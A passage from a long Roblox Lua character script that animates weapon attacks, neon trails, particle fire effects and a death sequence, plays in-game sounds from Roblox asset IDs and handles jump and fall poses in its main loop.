  4281. Trail.formFactor = "Custom"
  4282. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4283. local ms = Instance.new("BlockMesh",Trail)
  4284. ms.Scale = Vector3.new(1,1,1)
  4285. local TM = Instance.new("CylinderMesh",Trail)
  4286. TM.Scale = Vector3.new(1,1,1)
  4287. Old = New
  4288. coroutine.wrap(function()
  4289. for i = 1,0,-0.1 do
  4290. wait()
  4291. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4292. end
  4293. Trail:remove()
  4294. end)()
  4295. coroutine.wrap(function()
  4296. for i = 1,10 do
  4297. wait()
  4298. Trail.Transparency = Trail.Transparency +0.1
  4299. end end)()end end)()
  4300.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4301.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4302.     for i=0,1,0.1 do
  4303.         swait()
  4304.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4305.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4306.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4307.         Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
  4308.         Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
  4309.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4310.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4311.     end
  4312.     so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4313.     so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4314.     so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  4315.     for i=0,1,0.1 do
  4316.         swait()
  4317.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4318.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4319.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4320.         Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
  4321.         Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
  4322.         RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4323.         LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4324.     end
  4325.     --dmgstop()
  4326.     attack=false
  4327.     con1:disconnect()
  4328.     con2:disconnect()
  4329. if TrailDeb == true then
  4330.                         TrailDeb = false
  4331. end
  4332. end
  4333.  
  4334. function Clap()
  4335.     attack=true
  4336.     mana=mana-20
  4337. if TrailDeb == false then
  4338.                             TrailDeb = true
  4339.                         end
  4340.                        
  4341.  
  4342. coroutine.wrap(function()
  4343. local Old = Handle2.CFrame.p
  4344. while wait()do
  4345. if not TrailDeb then break end
  4346. local New = Handle2.CFrame.p
  4347. local Mag =(Old -New).magnitude
  4348. local Dis =(Old +New)/2
  4349. local Trail = Instance.new("Part",Character)
  4350. Trail.Material = "Neon"
  4351. Trail.Anchored = true
  4352. Trail.CanCollide = false
  4353. Trail.BrickColor = TorsoColor
  4354. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4355. Trail.TopSurface = 0
  4356. Trail.BottomSurface = 0
  4357. Trail.formFactor = "Custom"
  4358. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4359. local ms = Instance.new("BlockMesh",Trail)
  4360. ms.Scale = Vector3.new(1,1,1)
  4361. local TM = Instance.new("CylinderMesh",Trail)
  4362. TM.Scale = Vector3.new(1,1,1)
  4363. Old = New
  4364. coroutine.wrap(function()
  4365. for i = 1,0,-0.1 do
  4366. wait()
  4367. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4368. end
  4369. Trail:remove()
  4370. end)()
  4371. coroutine.wrap(function()
  4372. for i = 1,10 do
  4373. wait()
  4374. Trail.Transparency = Trail.Transparency +0.1
  4375. end end)()end end)()
  4376. coroutine.wrap(function()
  4377. local Old = Handle.CFrame.p
  4378. while wait()do
  4379. if not TrailDeb then break end
  4380. local New = Handle.CFrame.p
  4381. local Mag =(Old -New).magnitude
  4382. local Dis =(Old +New)/2
  4383. local Trail = Instance.new("Part",Character)
  4384. Trail.Material = "Neon"
  4385. Trail.Anchored = true
  4386. Trail.CanCollide = false
  4387. Trail.BrickColor = TorsoColor
  4388. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4389. Trail.TopSurface = 0
  4390. Trail.BottomSurface = 0
  4391. Trail.formFactor = "Custom"
  4392. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4393. local ms = Instance.new("BlockMesh",Trail)
  4394. ms.Scale = Vector3.new(1,1,1)
  4395. local TM = Instance.new("CylinderMesh",Trail)
  4396. TM.Scale = Vector3.new(1,1,1)
  4397. Old = New
  4398. coroutine.wrap(function()
  4399. for i = 1,0,-0.1 do
  4400. wait()
  4401. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4402. end
  4403. Trail:remove()
  4404. end)()
  4405. coroutine.wrap(function()
  4406. for i = 1,10 do
  4407. wait()
  4408. Trail.Transparency = Trail.Transparency +0.1
  4409. end end)()end end)()
  4410.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4411.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4412.     so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  4413.     for i=0,1,0.08 do
  4414.         swait()
  4415.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4416.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4417.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4418.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  4419.         Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  4420.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  4421.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  4422.     end
  4423.     so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4424.     so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4425.     for i=0,1,0.08 do
  4426.         swait()
  4427.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4428.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4429.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4430.         Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  4431.         Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  4432.         LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  4433.         RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  4434.     end
  4435.     --dmgstop()
  4436.     attack=false
  4437.     con1:disconnect()
  4438.     con2:disconnect()
  4439. if TrailDeb == true then
  4440.                         TrailDeb = false
  4441. end
  4442. end
  4443.  
  4444. function Hai()
  4445.     attack=true
  4446.     Humanoid.WalkSpeed=0
  4447.     so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  4448.     for i=0,1,0.1 do
  4449.         swait()
  4450.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4451.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4452.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4453.         Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4454.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4455.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4456.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4457.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4458.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4459.     end
  4460.      so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4461. for i=0,1,0.1 do
  4462.         swait()
  4463.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4464.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4465.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4466.         Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4467.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4468.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4469.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4470.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  4471.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4472.     end
  4473.      so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4474. for i=0,1,0.1 do
  4475.         swait()
  4476.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4477.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4478.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4479.         Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4480.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4481.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4482.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4483.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4484.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4485.        
  4486.     end
  4487. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4488. for i=0,1,0.1 do
  4489.         swait()
  4490.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4491.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4492.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4493.         Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4494.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4495.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4496.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4497.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  4498.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4499.     end
  4500. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4501. for i=0,1,0.1 do
  4502.         swait()
  4503.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4504.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4505.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4506.         Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4507.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4508.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4509.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4510.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4511.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4512.     end
  4513.     --dmgstop()
  4514.     Humanoid.WalkSpeed=12
  4515.     attack=false
  4516. end
  4517.  
  4518. function Die()
  4519.     attack=true
  4520. Footsteps:Stop()
  4521. Footsteps2:Stop()
  4522. local Fire = it("Sound",Character.Torso)
  4523. Fire.SoundId = "rbxassetid://192104941"
  4524. Fire.Looped = true
  4525. Fire.Pitch = 1
  4526. Fire.Volume = 1
  4527. local Fire2 = it("Sound",Handle2)
  4528. Fire2.SoundId = "rbxassetid://192104941"
  4529. Fire2.Looped = true
  4530. Fire2.Pitch = 1
  4531. Fire2.Volume = 1
  4532. local Fire3 = it("Sound",Handle)
  4533. Fire3.SoundId = "rbxassetid://192104941"
  4534. Fire3.Looped = true
  4535. Fire3.Pitch = 1
  4536. Fire3.Volume = 1
  4537. local Fire4 = it("Sound",handle)
  4538. Fire4.SoundId = "rbxassetid://192104941"
  4539. Fire4.Looped = true
  4540. Fire4.Pitch = 1
  4541. Fire4.Volume = 1
  4542. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4543. fire.Lifetime = NumberRange.new(0.5)
  4544. fire.Speed = NumberRange.new(1, 3)
  4545. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4546. fire.Rate = 0
  4547. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4548. fire.LightEmission = 0.6
  4549. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4550. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4551. local fire2 = Instance.new("ParticleEmitter", Handle)
  4552. fire2.Lifetime = NumberRange.new(0.5)
  4553. fire2.Speed = NumberRange.new(1, 3)
  4554. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4555. fire2.Rate = 0
  4556. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4557. fire2.LightEmission = 0.6
  4558. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  4559. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4560. local fire3 = Instance.new("ParticleEmitter", Handle2)
  4561. fire3.Lifetime = NumberRange.new(0.5)
  4562. fire3.Speed = NumberRange.new(1, 3)
  4563. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4564. fire3.Rate = 0
  4565. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4566. fire3.LightEmission = 0.6
  4567. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  4568. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4569. local fire4 = Instance.new("ParticleEmitter", handle)
  4570. fire4.Lifetime = NumberRange.new(0.5)
  4571. fire4.Speed = NumberRange.new(1, 3)
  4572. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4573. fire4.Rate = 0
  4574. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4575. fire4.LightEmission = 0.6
  4576. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  4577. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4578.     Humanoid.WalkSpeed = 0
  4579.     so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  4580.     so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  4581.     for i=0,1,0.08 do
  4582.         swait()
  4583.         Torso.Velocity=RootPart.CFrame.lookVector*-30
  4584.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  4585.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  4586.         handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4587.         Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4588.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4589.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  4590.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  4591.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4592.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4593.     end
  4594.     for i=0,1,0.005 do
  4595.         swait()
  4596.         light.Range=15-10*i
  4597.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4598.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4599.         handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4600.         Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4601.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4602.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4603.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4604.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4605.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4606.     end
  4607. light.Range=0
  4608.     for i=0,1,0.01 do
  4609.         swait()
  4610.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4611.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4612.         handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4613.         Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4614.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4615.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4616.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4617.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4618.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4619.     end
  4620.     so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  4621.     fire.Rate = 1000
  4622.     fire2.Rate = 1000
  4623.     fire3.Rate = 1000
  4624.     fire4.Rate = 1000
  4625.     Fire:Play()
  4626.     Fire2:Play()
  4627.     Fire3:Play()
  4628.     Fire4:Play()
  4629.     for i=0,1,0.005 do
  4630.         swait()
  4631. Character.Head.face.Transparency = 0+1*i
  4632. LeftArm.Transparency=0+1*i
  4633. RightArm.Transparency=0+1*i
  4634. LeftLeg.Transparency=0+1*i
  4635. RightLeg.Transparency=0+1*i
  4636. Head.Transparency=0+1*i
  4637. Torso.Transparency=0+1*i
  4638. for _,v in pairs(Character:children()) do
  4639.                 if v:IsA("Hat") then
  4640.                         v.Handle.Transparency = 0+1*i
  4641.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4642.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4643.         handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4644.         Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4645.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4646.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4647.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4648.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4649.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4650.     end
  4651.     end
  4652.     --dmgstop()
  4653. end
  4654. Humanoid.Health = 0
  4655. end
  4656.  
  4657. equipanim()
  4658.  
  4659. local sine = 0
  4660. local change = 1
  4661. local val = 0
  4662.  
  4663. local mananum=0
  4664. while true do
  4665. swait()
  4666. sine = sine + change
  4667. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  4668. local velderp=RootPart.Velocity.y
  4669. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  4670. if equipped==true or equipped==false then
  4671. if Anim=="Idle" and attack==false then
  4672. idle=idle+1
  4673. else
  4674. idle=0
  4675. end
  4676. if Humanoid.Health <=20 then
  4677. if attack == false then
  4678. Humanoid.Health = math.huge
  4679. Die()
  4680. end
  4681. end
  4682. if idle>=1000 then
  4683. if attack==false then
  4684. --Sheath()
  4685. end
  4686. end
  4687. if RootPart.Velocity.y > 1 and hitfloor==nil then
  4688. Anim="Jump"
  4689. if attack==false then
  4690. Footsteps:Stop()
  4691. Footsteps2:Stop()
  4692. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  4693. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4694. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  4695. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  4696. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4697. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  4698. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4699. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  4700. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  4701. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  4702. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4703. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4704.             MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4705.             MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4706.             MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4707.             MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4708. end
  4709. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  4710. Anim="Fall"
  4711. if attack==false then
  4712. Footsteps:Stop()
  4713. Footsteps2:Stop()
  4714. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  4715. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4716. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  4717. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  4718. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
